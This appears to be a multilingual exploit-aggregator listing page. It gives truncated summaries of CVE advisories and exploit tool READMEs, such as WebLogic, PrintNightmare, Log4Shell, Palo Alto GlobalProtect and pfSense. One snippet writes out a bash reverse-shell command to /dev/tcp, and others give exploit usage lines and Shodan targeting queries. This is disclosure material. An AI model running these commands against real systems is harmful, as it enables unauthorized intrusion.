The vulnerability of the platform for creating individual web applications in CRM systems is related to deficiencies in authentication procedures. This allows attackers to bypass existing security mechanisms and gain unauthorized access to protected information.

The vulnerability of the platform for creating individual web applications in CRM systems is related to deficiencies in authentication procedures. Exploiting this vulnerability could allow attackers, operating remotely, to circumvent existing security mechanisms and gain unauthorized access to...

The vulnerability of the Webasyst content management system and the Shop-Script CMS system lies in the lack of measures to protect the SQL query structure, allowing attackers to execute arbitrary SQL code.

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary SQL code...

The vulnerability of the Webasyst content management framework and the Shop-Script CMS system lies in the lack of measures to protect the SQL query structure, allowing attackers to execute arbitrary SQL code.

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows a malicious actor to execute arbitrary SQL code remotely...

The vulnerability of the OpenSky flight planning and operational management system, related to unlimited loading of dangerous file types, allows a perpetrator to execute arbitrary commands.

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

The vulnerability of the OpenSky flight planning and operational management system, related to unlimited loading of dangerous file types, allows a perpetrator to execute arbitrary commands.

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

CVE-2026-14802

CVE-2026-14802 Nombre del software vulnerable y versiones afectadas create-react-app versiones anteriores a la 5.0.2 Descripción En macOS, la función startBrowserProcess dentro del archivo openBrowser.js del componente react-dev-utils permite la inyección de comandos del sistema operativo. Este...

CVE-2020-14883EXP

CVE-2020-14883EXP 用于对WebLogic10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0进行验证及利用,请勿用于非法用途。 键入IP+端口即可开始验证（e.g 127.0.0.1:7001） 支持远程xml命令执行 10.3.6.0.0外的其他版本提供两种利用方式 验证成功即可进入命令模式 批量验证成功会自动保存...

CVE-2021-1675

CVE-2021-1675 修改自https://github.com/sailay1996/PrintNightmare-LPE ，支持远程调用。 1、上传PrintNightmareLPE.exe与vlib.dll到远程服务器上，执行PrintNightmareLPE.exe。 2、本地做好端口转发netsh interface portproxy add v4tov4 listenport=31337 connectaddress=192.168.84.129 connectport=31337 3、本地启动xconsole.exe...

CVE-2016-2233

CVE-2016-2233 CVE-2016-2233 is a stack-based buffer overflow vulnerability related with a wide-used IRC software Hexchat. We build a IRC server and launch the attack on it to make all the client connected to the server crash. We exploited our attack on Ubuntu 12.04 using Python. We make a patch t...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit 用于远程识别和/或利用Log4shell漏洞的bash脚本。 该工具使用LDAP payload以及X-Api-Version、User-Agent和X-Forwarded-For头部进行多项测试。 务必在获得被审计服务/应用程序所有者的授权后使用此脚本。 依赖项： 1. 从Github创建预配置的LDAP服务器：https://github.com/mbechler/marshalsec mvn clean package -DskipTests && Java -cp...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto 文件写入漏洞利用 此漏洞利用脚本会搜索 Global Protect URL 实例，并尝试使用 CVE-2024-3400 写入文件 请谨慎使用 仅用于教育目的 用法： root@kitploit: chmod +x gp-exploit.sh ./gp-exploit.sh filenametowrite urls.txt Shodan 搜索与 URL 过滤： root@kitploit: shodan search --fields ipstr,port 'http.html:"Global Protect"...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

CVE-2024-36104

CVE-2024-36104 Declaración Esta herramienta se utiliza únicamente para el aprendizaje de seguridad personal. Cualquier consecuencia o pérdida directa o indirecta causada por la difusión o el uso de esta herramienta será responsabilidad del usuario. El autor de la herramienta no asume ninguna...

CVE-2021-25646

uso: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd La reverse shell es la siguiente: Escribe el script de la reverse shell python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Otorga permisos de ejecución al script python3 CVE-2021-25646.py -u...

CVE-2024-9570_D-Link-DIR-619L-bof

CVE-2024-9570D-Link-DIR-619L-bof Exploit para CVE-2024-9570 Se encontró una vulnerabilidad en D-Link DIR-619L B1 2.06 y se clasificó como crítica. Afectada por este problema es la función formEasySetTimezone del archivo /goform/formEasySetTimezone. La manipulación del argumento curTime provoca un...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf 创建exim用户和组 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 安装依赖 sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev...

how-to-bypass-aslr-on-linux-x86_64

Rompiendo ASLR de 64 bits en Linux x86-64 En este artículo, hablaré sobre la aplicación de la técnica descrita por Samuel Groß en su Explotación remota de iPhone Parte 2: Aportando luz a la oscuridad -- un bypass remoto de ASLR, para evadir ASLR en Linux x8664. Para mostrarlo, voy a resolver un...

Code-Projects School Fees Payment System 1.0 - SQL Injection

A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been...

TOTOLINK CP450 v4.1.0cu.747_B20191224 - Hard-Coded Password Vulnerability

A critical vulnerability has been discovered in TOTOLINK CP450 version 4.1.0cu.747B20191224. This vulnerability affects an unknown part of the file /webcste/cgi-bin/product.ini of the Telnet Service component. The issue stems from the use of a hard-coded password, which can be exploited remotely...

iboss Secure Web Gateway - Stored Cross-Site Scripting

A cross-site scripting vulnerability has been found in iboss Secure Web Gateway up to version 10.1. The vulnerability affects the /login file of the Login Portal component, where manipulation of the redirectUrl parameter leads to cross-site scripting. The attack can be launched remotely and the...